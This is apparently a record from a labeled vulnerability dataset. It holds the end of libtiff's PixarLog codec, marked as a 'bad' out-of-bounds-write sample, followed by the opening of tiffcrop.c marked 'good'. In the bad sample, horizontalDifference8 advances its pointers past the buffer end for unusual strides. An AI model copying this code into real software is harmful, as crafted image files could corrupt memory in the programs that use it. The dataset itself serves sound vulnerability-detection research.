(tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); sp->tbuf_size = tbuf_size; if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle bits depth/data format combination (depth: %d)", td->td_bitspersample); return (0); } if (inflateInit(&sp->stream) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Setup state for decoding a strip. */ static int PixarLogPreDecode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreDecode"; PixarLogState* sp = DecoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_in = tif->tif_rawdata; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) tif->tif_rawcc; if ((tmsize_t)sp->stream.avail_in != tif->tif_rawcc) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (inflateReset(&sp->stream) == Z_OK); } static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s) { static const char module[] = "PixarLogDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t i; tmsize_t nsamples; int llen; uint16 *up; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: nsamples = occ / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: nsamples = occ / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: nsamples = occ; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; (void) s; assert(sp != NULL); sp->stream.next_out = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt) (nsamples * sizeof(uint16)); if (sp->stream.avail_out != nsamples * sizeof(uint16)) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } /* Check that we will not fill more than what was allocated */ if ((tmsize_t)sp->stream.avail_out > sp->tbuf_size) { TIFFErrorExt(tif->tif_clientdata, module, "sp->stream.avail_out > sp->tbuf_size"); return (0); } do { int state = inflate(&sp->stream, Z_PARTIAL_FLUSH); if (state == Z_STREAM_END) { break; /* XXX */ } if (state == Z_DATA_ERROR) { TIFFErrorExt(tif->tif_clientdata, module, "Decoding error at scanline %lu, %s", (unsigned long) tif->tif_row, sp->stream.msg ? sp->stream.msg : "(null)"); if (inflateSync(&sp->stream) != Z_OK) return (0); continue; } if (state != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (sp->stream.avail_out > 0); /* hopefully, we got all the bytes we needed */ if (sp->stream.avail_out != 0) { TIFFErrorExt(tif->tif_clientdata, module, "Not enough data at scanline %lu (short " TIFF_UINT64_FORMAT " bytes)", (unsigned long) tif->tif_row, (TIFF_UINT64_T) sp->stream.avail_out); return (0); } up = sp->tbuf; /* Swap bytes in the data if from a different endian machine. */ if (tif->tif_flags & TIFF_SWAB) TIFFSwabArrayOfShort(up, nsamples); /* * if llen is not an exact multiple of nsamples, the decode operation * may overflow the output buffer, so truncate it enough to prevent * that but still salvage as much data as possible. */ if (nsamples % llen) { TIFFWarningExt(tif->tif_clientdata, module, "stride %lu is not a multiple of sample count, " "%lu, data truncated.", (unsigned long) llen, (unsigned long) nsamples); nsamples -= nsamples % llen; } for (i = 0; i < nsamples; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalAccumulateF(up, llen, sp->stride, (float *)op, sp->ToLinearF); op += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalAccumulate16(up, llen, sp->stride, (uint16 *)op, sp->ToLinear16); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_12BITPICIO: horizontalAccumulate12(up, llen, sp->stride, (int16 *)op, sp->ToLinearF); op += llen * sizeof(int16); break; case PIXARLOGDATAFMT_11BITLOG: horizontalAccumulate11(up, llen, sp->stride, (uint16 *)op); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalAccumulate8(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; case PIXARLOGDATAFMT_8BITABGR: horizontalAccumulate8abgr(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "Unsupported bits/sample: %d", td->td_bitspersample); return (0); } } return (1); } static int PixarLogSetupEncode(TIFF* tif) { static const char module[] = "PixarLogSetupEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = EncoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); if (tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle %d bit linear encodings", td->td_bitspersample); return (0); } if (deflateInit(&sp->stream, sp->quality) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Reset encoding state at the start of a strip. */ static int PixarLogPreEncode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreEncode"; PixarLogState *sp = EncoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_out = tif->tif_rawdata; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt)tif->tif_rawdatasize; if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (deflateReset(&sp->stream) == Z_OK); } static void horizontalDifferenceF(float *ip, int n, int stride, uint16 *wp, uint16 *FromLT2) { int32 r1, g1, b1, a1, r2, g2, b2, a2, mask; float fltsize = Fltsize; #define CLAMP(v) ( (v<(float)0.) ? 0 \ : (v<(float)2.) ? FromLT2[(int)(v*fltsize)] \ : (v>(float)24.2) ? 2047 \ : LogK1*log(v*LogK2) + 0.5 ) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); a2 = wp[3] = (uint16) CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = (int32) CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { ip += n - 1; /* point to last one */ wp += n - 1; /* point to last one */ n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]); wp[stride] -= wp[0]; wp[stride] &= mask; wp--; ip--) n -= stride; } REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]); wp--; ip--) } } } static void horizontalDifference16(unsigned short *ip, int n, int stride, unsigned short *wp, uint16 *From14) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; /* assumption is unsigned pixel values */ #undef CLAMP #define CLAMP(v) From14[(v) >> 2] mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { ip += n - 1; /* point to last one */ wp += n - 1; /* point to last one */ n -= stride; while (n > 0) { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp[stride] -= wp[0]; wp[stride] &= mask; wp--; ip--) n -= stride; } REPEAT(stride, wp[0] = CLAMP(ip[0]); wp--; ip--) } } } static void horizontalDifference8(unsigned char *ip, int n, int stride, unsigned short *wp, uint16 *From8) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; #undef CLAMP #define CLAMP(v) (From8[(v)]) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; r1 = CLAMP(ip[3]); wp[3] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[4]); wp[4] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[5]); wp[5] = (uint16)((b1-b2) & mask); b2 = b1; wp += 3; ip += 3; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; r1 = CLAMP(ip[4]); wp[4] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[5]); wp[5] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[6]); wp[6] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[7]); wp[7] = (uint16)((a1-a2) & mask); a2 = a1; wp += 4; ip += 4; } } else { wp += n + stride - 1; /* point to last one */ ip += n + stride - 1; /* point to last one */ n -= stride; while (n > 0) { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp[stride] -= wp[0]; wp[stride] &= mask; wp--; ip--) n -= stride; } REPEAT(stride, wp[0] = CLAMP(ip[0]); wp--; ip--) } } } /* * Encode a chunk of pixels. */ static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s) { static const char module[] = "PixarLogEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState *sp = EncoderState(tif); tmsize_t i; tmsize_t n; int llen; unsigned short * up; (void) s; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: n = cc / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: n = cc / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: n = cc; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; /* Check against the number of elements (of size uint16) of sp->tbuf */ if( n > (tmsize_t)(td->td_rowsperstrip * llen) ) { TIFFErrorExt(tif->tif_clientdata, module, "Too many input bytes provided"); return 0; } for (i = 0, up = sp->tbuf; i < n; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalDifferenceF((float *)bp, llen, sp->stride, up, sp->FromLT2); bp += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalDifference16((uint16 *)bp, llen, sp->stride, up, sp->From14); bp += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalDifference8((unsigned char *)bp, llen, sp->stride, up, sp->From8); bp += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } } sp->stream.next_in = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) (n * sizeof(uint16)); if ((sp->stream.avail_in / sizeof(uint16)) != (uInt) n) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } do { if (deflate(&sp->stream, Z_NO_FLUSH) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "Encoder error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } if (sp->stream.avail_out == 0) { tif->tif_rawcc = tif->tif_rawdatasize; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } } while (sp->stream.avail_in > 0); return (1); } /* * Finish off an encoded strip by flushing the last * string and tacking on an End Of Information code. */ static int PixarLogPostEncode(TIFF* tif) { static const char module[] = "PixarLogPostEncode"; PixarLogState *sp = EncoderState(tif); int state; sp->stream.avail_in = 0; do { state = deflate(&sp->stream, Z_FINISH); switch (state) { case Z_STREAM_END: case Z_OK: if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { tif->tif_rawcc = tif->tif_rawdatasize - sp->stream.avail_out; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } break; default: TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (state != Z_STREAM_END); return (1); } static void PixarLogClose(TIFF* tif) { TIFFDirectory *td = &tif->tif_dir; /* In a really sneaky (and really incorrect, and untruthful, and * troublesome, and error-prone) maneuver that completely goes against * the spirit of TIFF, and breaks TIFF, on close, we covertly * modify both bitspersample and sampleformat in the directory to * indicate 8-bit linear. This way, the decode "just works" even for * readers that don't know about PixarLog, or how to set * the PIXARLOGDATFMT pseudo-tag. */ td->td_bitspersample = 8; td->td_sampleformat = SAMPLEFORMAT_UINT; } static void PixarLogCleanup(TIFF* tif) { PixarLogState* sp = (PixarLogState*) tif->tif_data; assert(sp != 0); (void)TIFFPredictorCleanup(tif); tif->tif_tagmethods.vgetfield = sp->vgetparent; tif->tif_tagmethods.vsetfield = sp->vsetparent; if (sp->FromLT2) _TIFFfree(sp->FromLT2); if (sp->From14) _TIFFfree(sp->From14); if (sp->From8) _TIFFfree(sp->From8); if (sp->ToLinearF) _TIFFfree(sp->ToLinearF); if (sp->ToLinear16) _TIFFfree(sp->ToLinear16); if (sp->ToLinear8) _TIFFfree(sp->ToLinear8); if (sp->state&PLSTATE_INIT) { if (tif->tif_mode == O_RDONLY) inflateEnd(&sp->stream); else deflateEnd(&sp->stream); } if (sp->tbuf) _TIFFfree(sp->tbuf); _TIFFfree(sp); tif->tif_data = NULL; _TIFFSetDefaultCompressionState(tif); } static int PixarLogVSetField(TIFF* tif, uint32 tag, va_list ap) { static const char module[] = "PixarLogVSetField"; PixarLogState *sp = (PixarLogState *)tif->tif_data; int result; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: sp->quality = (int) va_arg(ap, int); if (tif->tif_mode != O_RDONLY && (sp->state&PLSTATE_INIT)) { if (deflateParams(&sp->stream, sp->quality, Z_DEFAULT_STRATEGY) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } return (1); case TIFFTAG_PIXARLOGDATAFMT: sp->user_datafmt = (int) va_arg(ap, int); /* Tweak the TIFF header so that the rest of libtiff knows what * size of data will be passed between app and library, and * assume that the app knows what it is doing and is not * confused by these header manipulations... */ switch (sp->user_datafmt) { case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_11BITLOG: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_12BITPICIO: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_INT); break; case PIXARLOGDATAFMT_16BIT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_FLOAT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 32); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_IEEEFP); break; } /* * Must recalculate sizes should bits/sample change. */ tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tmsize_t)(-1); tif->tif_scanlinesize = TIFFScanlineSize(tif); result = 1; /* NB: pseudo tag */ break; default: result = (*sp->vsetparent)(tif, tag, ap); } return (result); } static int PixarLogVGetField(TIFF* tif, uint32 tag, va_list ap) { PixarLogState *sp = (PixarLogState *)tif->tif_data; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: *va_arg(ap, int*) = sp->quality; break; case TIFFTAG_PIXARLOGDATAFMT: *va_arg(ap, int*) = sp->user_datafmt; break; default: return (*sp->vgetparent)(tif, tag, ap); } return (1); } static const TIFFField pixarlogFields[] = { {TIFFTAG_PIXARLOGDATAFMT, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL}, {TIFFTAG_PIXARLOGQUALITY, 0, 0, TIFF_ANY, 0, TIFF_SETGET_INT, TIFF_SETGET_UNDEFINED, FIELD_PSEUDO, FALSE, FALSE, "", NULL} }; int TIFFInitPixarLog(TIFF* tif, int scheme) { static const char module[] = "TIFFInitPixarLog"; PixarLogState* sp; assert(scheme == COMPRESSION_PIXARLOG); /* * Merge codec-specific tag information. */ if (!_TIFFMergeFields(tif, pixarlogFields, TIFFArrayCount(pixarlogFields))) { TIFFErrorExt(tif->tif_clientdata, module, "Merging PixarLog codec-specific tags failed"); return 0; } /* * Allocate state block so tag methods have storage to record values. */ tif->tif_data = (uint8*) _TIFFmalloc(sizeof (PixarLogState)); if (tif->tif_data == NULL) goto bad; sp = (PixarLogState*) tif->tif_data; _TIFFmemset(sp, 0, sizeof (*sp)); sp->stream.data_type = Z_BINARY; sp->user_datafmt = PIXARLOGDATAFMT_UNKNOWN; /* * Install codec methods. */ tif->tif_fixuptags = PixarLogFixupTags; tif->tif_setupdecode = PixarLogSetupDecode; tif->tif_predecode = PixarLogPreDecode; tif->tif_decoderow = PixarLogDecode; tif->tif_decodestrip = PixarLogDecode; tif->tif_decodetile = PixarLogDecode; tif->tif_setupencode = PixarLogSetupEncode; tif->tif_preencode = PixarLogPreEncode; tif->tif_postencode = PixarLogPostEncode; tif->tif_encoderow = PixarLogEncode; tif->tif_encodestrip = PixarLogEncode; tif->tif_encodetile = PixarLogEncode; tif->tif_close = PixarLogClose; tif->tif_cleanup = PixarLogCleanup; /* Override SetField so we can handle our private pseudo-tag */ sp->vgetparent = tif->tif_tagmethods.vgetfield; tif->tif_tagmethods.vgetfield = PixarLogVGetField; /* hook for codec tags */ sp->vsetparent = tif->tif_tagmethods.vsetfield; tif->tif_tagmethods.vsetfield = PixarLogVSetField; /* hook for codec tags */ /* Default values for codec-specific fields */ sp->quality = Z_DEFAULT_COMPRESSION; /* default comp. level */ sp->state = 0; /* we don't wish to use the predictor, * the default is none, which predictor value 1 */ (void) TIFFPredictorInit(tif); /* * build the companding tables */ PixarLogMakeTables(sp); return (1); bad: TIFFErrorExt(tif->tif_clientdata, module, "No space for PixarLog state block"); return (0); } #endif /* PIXARLOG_SUPPORT */ /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5474_1
crossvul-cpp_data_good_5478_4
/* $Id$ */ /* tiffcrop.c -- a port of tiffcp.c extended to include manipulations of * the image data through additional options listed below * * Original code: * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * Additions (c) Richard Nolde 2006-2010 * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS OR ANY OTHER COPYRIGHT * HOLDERS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL * DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, * DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND * ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE * OR PERFORMANCE OF THIS SOFTWARE. * * Some portions of the current code are derived from tiffcp, primarly in * the areas of lowlevel reading and writing of TAGS, scanlines and tiles though * some of the original functions have been extended to support arbitrary bit * depths. These functions are presented at the top of this file. * * Add support for the options below to extract sections of image(s) * and to modify the whole image or selected portions of each image by * rotations, mirroring, and colorscale/colormap inversion of selected * types of TIFF images when appropriate. Some color model dependent * functions are restricted to bilevel or 8 bit per sample data. * See the man page for the full explanations. * * New Options: * -h Display the syntax guide. * -v Report the version and last build date for tiffcrop and libtiff. * -z x1,y1,x2,y2:x3,y3,x4,y4:..xN,yN,xN + 1, yN + 1 * Specify a series of coordinates to define rectangular * regions by the top left and lower right corners. * -e c|d|i|m|s export mode for images and selections from input images * combined All images and selections are written to a single file (default) * with multiple selections from one image combined into a single image * divided All images and selections are written to a single file * with each selection from one image written to a new image * image Each input image is written to a new file (numeric filename sequence) * with multiple selections from the image combined into one image * multiple Each input image is written to a new file (numeric filename sequence) * with each selection from the image written to a new image * separated Individual selections from each image are written to separate files * -U units [in, cm, px ] inches, centimeters or pixels * -H # Set horizontal resolution of output images to # * -V # Set vertical resolution of output images to # * -J # Horizontal margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -K # Vertical margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -X # Horizontal dimension of region to extract expressed in current * units * -Y # Vertical dimension of region to extract expressed in current * units * -O orient Orientation for output image, portrait, landscape, auto * -P page Page size for output image segments, eg letter, legal, tabloid, * etc. * -S cols:rows Divide the image into equal sized segments using cols across * and rows down * -E t|l|r|b Edge to use as origin * -m #,#,#,# Margins from edges for selection: top, left, bottom, right * (commas separated) * -Z #:#,#:# Zones of the image designated as zone X of Y, * eg 1:3 would be first of three equal portions measured * from reference edge * -N odd|even|#,#-#,#|last * Select sequences and/or ranges of images within file * to process. The words odd or even may be used to specify * all odd or even numbered images the word last may be used * in place of a number in the sequence to indicate the final * image in the file without knowing how many images there are. * -R # Rotate image or crop selection by 90,180,or 270 degrees * clockwise * -F h|v Flip (mirror) image or crop selection horizontally * or vertically * -I [black|white|data|both] * Invert color space, eg dark to light for bilevel and grayscale images * If argument is white or black, set the PHOTOMETRIC_INTERPRETATION * tag to MinIsBlack or MinIsWhite without altering the image data * If the argument is data or both, the image data are modified: * both inverts the data and the PHOTOMETRIC_INTERPRETATION tag, * data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag * -D input:<filename1>,output:<filename2>,format:<raw|txt>,level:N,debug:N * Dump raw data for input and/or output images to individual files * in raw (binary) format or text (ASCII) representing binary data * as strings of 1s and 0s. The filename arguments are used as stems * from which individual files are created for each image. Text format * includes annotations for image parameters and scanline info. Level * selects which functions dump data, with higher numbers selecting * lower level, scanline level routines. Debug reports a limited set * of messages to monitor progess without enabling dump logs. */ static char tiffcrop_version_id[] = "2.4"; static char tiffcrop_rev_date[] = "12-13-2010"; #include "tif_config.h" #include "tiffiop.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <ctype.h> #include <limits.h> #include <sys/stat.h> #include <assert.h> #ifdef HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_STDINT_H # include <stdint.h> #endif #ifndef HAVE_GETOPT extern int getopt(int argc, char * const argv[], const char *optstring); #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffio.h" #if defined(VMS) # define unlink delete #endif #ifndef PATH_MAX #define PATH_MAX 1024 #endif #ifndef streq #define streq(a,b) (strcmp((a),(b)) == 0) #endif #define strneq(a,b,n) (strncmp((a),(b),(n)) == 0) #define TRUE 1 #define FALSE 0 #ifndef TIFFhowmany #define TIFFhowmany(x, y) ((((uint32)(x))+(((uint32)(y))-1))/((uint32)(y))) #define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3) #endif /* * Definitions and data structures required to support cropping and image * manipulations. */ #define EDGE_TOP 1 #define EDGE_LEFT 2 #define EDGE_BOTTOM 3 #define EDGE_RIGHT 4 #define EDGE_CENTER 5 #define MIRROR_HORIZ 1 #define MIRROR_VERT 2 #define MIRROR_BOTH 3 #define ROTATECW_90 8 #define ROTATECW_180 16 #define ROTATECW_270 32 #define ROTATE_ANY (ROTATECW_90 | ROTATECW_180 | ROTATECW_270) #define CROP_NONE 0 #define CROP_MARGINS 1 #define CROP_WIDTH 2 #define CROP_LENGTH 4 #define CROP_ZONES 8 #define CROP_REGIONS 16 #define CROP_ROTATE 32 #define CROP_MIRROR 64 #define CROP_INVERT 128 /* Modes for writing out images and selections */ #define ONE_FILE_COMPOSITE 0 /* One file, sections combined sections */ #define ONE_FILE_SEPARATED 1 /* One file, sections to new IFDs */ #define FILE_PER_IMAGE_COMPOSITE 2 /* One file per image, combined sections */ #define FILE_PER_IMAGE_SEPARATED 3 /* One file per input image */ #define FILE_PER_SELECTION 4 /* One file per selection */ #define COMPOSITE_IMAGES 0 /* Selections combined into one image */ #define SEPARATED_IMAGES 1 /* Selections saved to separate images */ #define STRIP 1 #define TILE 2 #define MAX_REGIONS 8 /* number of regions to extract from a single page */ #define MAX_OUTBUFFS 8 /* must match larger of zones or regions */ #define MAX_SECTIONS 32 /* number of sections per page to write to output */ #define MAX_IMAGES 2048 /* number of images in descrete list, not in the file */ #define MAX_SAMPLES 8 /* maximum number of samples per pixel supported */ #define MAX_BITS_PER_SAMPLE 64 /* maximum bit depth supported */ #define MAX_EXPORT_PAGES 999999 /* maximum number of export pages per file */ #define DUMP_NONE 0 #define DUMP_TEXT 1 #define DUMP_RAW 2 /* Offsets into buffer for margins and fixed width and length segments */ struct offset { uint32 tmargin; uint32 lmargin; uint32 bmargin; uint32 rmargin; uint32 crop_width; uint32 crop_length; uint32 startx; uint32 endx; uint32 starty; uint32 endy; }; /* Description of a zone within the image. 